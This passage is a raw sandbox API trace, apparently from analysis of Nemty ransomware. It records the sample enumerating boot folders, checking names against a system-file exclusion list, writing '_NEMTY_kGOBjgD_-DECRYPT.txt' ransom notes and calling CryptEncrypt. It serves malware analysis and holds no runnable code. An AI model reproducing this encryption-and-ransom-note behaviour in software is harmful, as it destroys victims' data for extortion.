ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf34b030, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf34b030, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0046.269] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0046.270] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0046.270] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0046.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0046.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0046.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.270] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf34b030, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf34b030, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf34b030, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0046.270] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0046.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.271] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2=".") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="..") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="...") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="windows") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="$RECYCLE.BIN") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="rsa") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="NTDETECT.COM") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="ntldr") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="MSDOS.SYS") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="IO.SYS") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="boot.ini") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="boot.ini") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="AUTOEXEC.BAT") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="ntuser.dat") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="desktop.ini") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="CONFIG.SYS") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="RECYCLER") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="BOOTSECT.BAK") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="bootmgr") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="programdata") returned 1 [0046.271] lstrcmpiW (lpString1="zh-CN", lpString2="appdata") returned 1 [0046.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh-CN", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0046.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh-CN", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zh-CN", lpUsedDefaultChar=0x0) returned 5 [0046.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh-CN", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0046.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh-CN", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zh-CN", lpUsedDefaultChar=0x0) returned 5 [0046.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9eda8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.272] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\zh-cn\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0046.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.272] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.272] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0046.273] CloseHandle (hObject=0x3c0) returned 1 [0046.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0046.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0046.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.274] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\zh-cn\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0046.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.275] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.275] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0046.275] CloseHandle (hObject=0x3c0) returned 1 [0046.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0046.276] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcf47bb30, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf47bb30, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0046.276] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0046.276] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcf47bb30, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf47bb30, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.276] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0046.276] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0046.276] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0046.276] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0046.276] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0046.276] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0046.276] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0046.276] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0046.276] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0046.276] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0046.276] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0046.276] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0046.276] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0046.276] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0046.277] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0046.277] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0046.277] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0046.277] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0046.277] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0046.277] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0046.277] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0046.277] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0046.277] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0046.277] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0046.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0046.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.277] Sleep (dwMilliseconds=0x5) [0046.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcf4a1c90, dwHighDateTime=0x1d561e7)) [0046.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcf4a1c90, dwHighDateTime=0x1d561e7)) [0046.283] GetLastError () returned 0xb7 [0046.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.283] GetLastError () returned 0xb7 [0046.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.283] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0046.283] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0046.284] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0046.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0046.284] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, 